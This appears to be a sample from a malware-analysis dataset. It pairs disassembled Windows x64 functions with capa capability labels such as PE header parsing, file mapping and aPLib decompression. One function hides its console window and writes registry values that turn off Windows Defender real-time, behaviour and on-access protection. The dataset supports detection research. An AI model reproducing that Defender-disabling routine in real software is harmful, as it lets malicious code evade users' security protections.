joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140001dd8
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140001e65
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001e65
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e65
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140001e4c
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140001e46
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140001e4e
add rdx, 0x28
jmp 0x140001e2b
xor edx, edx
test rdx, rdx
jne 0x140001e57
xor al, al
jmp 0x140001e6b
cmp dword [rdx + 0x24], 0
jge 0x140001e61
xor al, al
jmp 0x140001e6b
mov al, 1
jmp 0x140001e6b
xor al, al
jmp 0x140001e6b
add rsp, 0x18
ret

Function at 0x140001118
Capabilities:
Terminate process

Disassembly:
jmp 0x140001a48
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov ecx, 1
call fcn.1400011a9
test al, al
je 0x140001913
xor sil, sil
mov byte [rsp + 0x20], sil
call fcn.140001186
mov bl, al
mov ecx, dword [0x140008150]
cmp ecx, 1
je 0x14000191e
test ecx, ecx
jne 0x140001849
mov dword [0x140008150], 1
lea rdx, [0x140006660]
lea rcx, [0x140006330]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
test eax, eax
je 0x14000182a
mov eax, 0xff
jmp 0x140001903
lea rdx, [0x140006220]
lea rcx, [section..rdata]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [0x140008150], 2
jmp 0x140001851
mov sil, 1
mov byte [rsp + 0x20], sil
mov cl, bl
call fcn.140001172
call fcn.140001136
mov rbx, rax
cmp qword [rax], 0
je 0x140001884
mov rcx, rax
call fcn.1400010a0
test al, al
je 0x140001884
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [rbx]
call qword [0x14000c020]
call fcn.14000114f
mov rbx, rax
cmp qword [rax], 0
je 0x1400018a6
mov rcx, rax
call fcn.1400010a0
test al, al
je 0x1400018a6
mov rcx, qword [rbx]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_initial_narrow_environment
mov rdi, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argv
mov rbx, qword [rax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p___argc
mov r8, rdi
mov rdx, rbx
mov ecx, dword [rax]
call fcn.140001113
mov ebx, eax
call fcn.14000111d
test al, al
je 0x140001928
test sil, sil
jne 0x1400018dd
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
xor edx, edx
mov cl, 1
call fcn.140001096
mov eax, ebx
jmp 0x140001903
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov ecx, 7
call fcn.14000117c
nop
mov ecx, 7
call fcn.14000117c
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
mov ecx, ebx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__exit
nop
int3
sub rsp, 0x28
call fcn.140001127
add rsp, 0x28
jmp 0x1400017bc
Function at 0x14000111d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140002398
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023e4
xor al, al
add rsp, 0x28
ret

Function at 0x140001400
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x58
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x68]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400015d8
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableAntiSpyware
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400015d8
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rcx
lea rdx, str.Real_Time_Protection
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400015d8
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableRealtimeMonitoring
mov r9d, 4
mov qword [rsp + 0x68], rcx
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400015d8
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableBehaviorMonitoring
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400015d8
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableOnAccessProtection
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400015d8
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 4
lea rdx, str.DisableScanOnRealtimeEnable
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400015d8
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rcx
lea r9d, [rax + 4]
mov rcx, qword [rsp + 0x68]
lea rdx, str.DisableIOAVProtection
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400015d8
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x58
ret
xor eax, eax
add rsp, 0x58
ret
Function at 0x140002398
Capabilities:
Parse pe header

Disassembly:
jmp 0x140002398
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023e4
xor al, al
add rsp, 0x28
ret
Function at 0x2fc55c670
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc55d072
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc57f108]
test eax, eax
je 0x2fc55d10a
lea rax, [0x2fc57f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc57f110]
mov qword [rbp - 8], rax
jmp 0x2fc55d0ee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc55d0e2
cmp qword [rbp - 0x10], 0
je 0x2fc55d0e2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc55d0a8
lea rax, [0x2fc57f0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc55d10b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc55d210
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc55d238
mov eax, 0
jmp 0x2fc55d286
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc55d261
mov eax, 0
jmp 0x2fc55d286
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc55d281
mov eax, 0
jmp 0x2fc55d286
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc55d28c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc55d30a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc55d301
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc55d301
mov rax, qword [rbp - 8]
jmp 0x2fc55d31f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc55d2d4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001110
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000115b
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x14000115b
mov edx, 0x8664
cmp word [rax + 4], dx
jne 0x14000115b
mov edx, 0x20b
cmp word [rax + 0x18], dx
jne 0x14000115b
cmp dword [rax + 0x84], 0
jbe 0x14000115b
cmp dword [rax + 0x8c], 0
je 0x14000115b
mov eax, dword [rax + 0x88]
add rax, rcx
ret
xor eax, eax
ret

Function at 0x140001420
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x1f8]
mov rbx, rcx
mov rcx, qword [rcx + 0x130]
mov edx, 0x2000
mov r9d, dword [rax + 0x28]
add r9, rcx
test word [rax + 0x16], dx
je 0x1400014de
xor r8d, r8d
lea edx, [r8 + 1]
call r9
mov rcx, qword [rbx + 0x130]
mov eax, 0x5a4d
cmp word [rcx], ax
je 0x14000146c
xor edx, edx
jmp 0x1400014c0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
je 0x14000147f
xor edx, edx
jmp 0x1400014c0
mov edx, 0x8664
cmp word [rax + 4], dx
je 0x14000148e
xor edx, edx
jmp 0x1400014c0
mov edx, 0x20b
cmp word [rax + 0x18], dx
je 0x14000149d
xor edx, edx
jmp 0x1400014c0
cmp dword [rax + 0x84], 0
ja 0x1400014aa
xor edx, edx
jmp 0x1400014c0
cmp dword [rax + 0x8c], 0
jne 0x1400014b7
xor edx, edx
jmp 0x1400014c0
mov edx, dword [rax + 0x88]
add rdx, rcx
mov r9d, 0xd0afa578
mov r8d, 0x54dd29f4
call fcn.140001160
test rax, rax
je 0x1400014e6
add rsp, 0x20
pop rbx
jmp rax
add rsp, 0x20
pop rbx
jmp r9
add rsp, 0x20
pop rbx
ret
Function at 0x140001c80
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cca
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ccc
xor al, al
add rsp, 0x28
ret
Function at 0x100004828
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100004875
cmp rcx, 0xffffffffffffffff
je 0x100004875
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x10000486d
cmp dword [rcx + 0x3c], edx
jl 0x10000486d
cmp dword [rcx + 0x3c], 0x10000000
jae 0x10000486d
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100004875
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14000a370
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, rdx
xor edi, edi
mov rbx, rcx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 7]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 0x18], rax
cmp rax, 0xffffffffffffffff
jne 0x14000a3db
mov byte [rbx], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx + 4], eax
lea rax, [0x14002a6c8]
mov qword [rbx + 8], rax
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x14000a422
mov qword [rbx + 0x20], 0xffffffffffffffff
mov byte [rbx], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx + 0x18]
mov dword [rbx + 4], eax
lea rax, [0x14002a6d8]
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rbx + 0x18]
xor r9d, r9d
mov eax, eax
xor edx, edx
mov qword [rsp + 0x28], rdi
mov qword [rbx + 0x20], rax
lea r8d, [r9 + 2]
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbx + 0x28], rax
test rax, rax
jne 0x14000a47c
mov byte [rbx], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx + 0x18]
mov dword [rbx + 4], eax
lea rax, [0x14002a6e8]
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x14000a4d6
mov byte [rbx], 1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx + 0x28]
mov dword [rbx + 4], eax
lea rax, [0x14002a700]
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov byte [rbx], dil
mov rax, rbx
mov dword [rbx + 4], edi
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14000a610
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a655
xor al, al
jmp 0x14000a6a2
cmp word [rbx], 0
je 0x14000a66d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a660
cmp word [rsp + 0x30], 0
je 0x14000a69b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a6c3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a680
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000b860
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000fed4
int3
Function at 0x14000af30
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x140034de0]
test rcx, rcx
je 0x14000af6b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000af5e
mov rcx, qword [0x140034de0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x140034de0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x140034e38], 0
je 0x14000b05e
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x14002a9a0]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140034e40]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b03f
test al, 0x10
je 0x14000b03f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000afe5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000c154
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c19e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c19e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c19e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c19e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c19e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c1a0
xor al, al
add rsp, 0x28
ret

Function at 0x14000fec8
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000fd33
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fd33
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fd33
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fd33
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fd33
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fd33
cmp dword [rcx + 0xf8], 0
je 0x14000fd33
mov ecx, ebx
call fcn.14000fde4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000fbc0
nop
cmp dword [rbp + 0x20], 0
je 0x14000fd81
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fd8c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fcc4
Function at 0x1400198a8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14001992f
mov rsi, rbx
cmp word [rax], bp
je 0x1400198ee
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400198d8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400198d4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016f84
mov rdi, rax
test rax, rax
je 0x14001991c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140020560
mov rbp, rdi
xor ecx, ecx
call fcn.140016094
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ba9c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001bab2
mov al, 1
jmp 0x14001bb12
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001bac3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001bb10
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019bf0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001bb10
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001bb10
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001bb10
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001bb12
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001fdd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fdf8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001fdf8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1804ca160
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1804ca2e7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1804ca191
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1804ca177
add dl, dl
jne 0x1804ca19e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1804ca1fe
xor eax, eax
add dl, dl
jne 0x1804ca1ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1804ca2b5
add dl, dl
jne 0x1804ca1be
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1804ca1cb
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1804ca1d8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1804ca1e5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1804ca1f2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1804ca186
mov eax, 1
add dl, dl
jne 0x1804ca20e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1804ca21b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1804ca203
sub eax, ebx
mov ebx, 1
jne 0x1804ca254
mov ecx, 1
add dl, dl
jne 0x1804ca236
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1804ca243
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1804ca22b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1804ca186
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1804ca270
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1804ca27d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1804ca265
cmp eax, 0x7d00
jae 0x1804ca2a3
cmp eax, 0x500
jb 0x1804ca29e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1804ca186
cmp eax, 0x7f
ja 0x1804ca2a6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1804ca186
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1804ca2da
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1804ca186
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20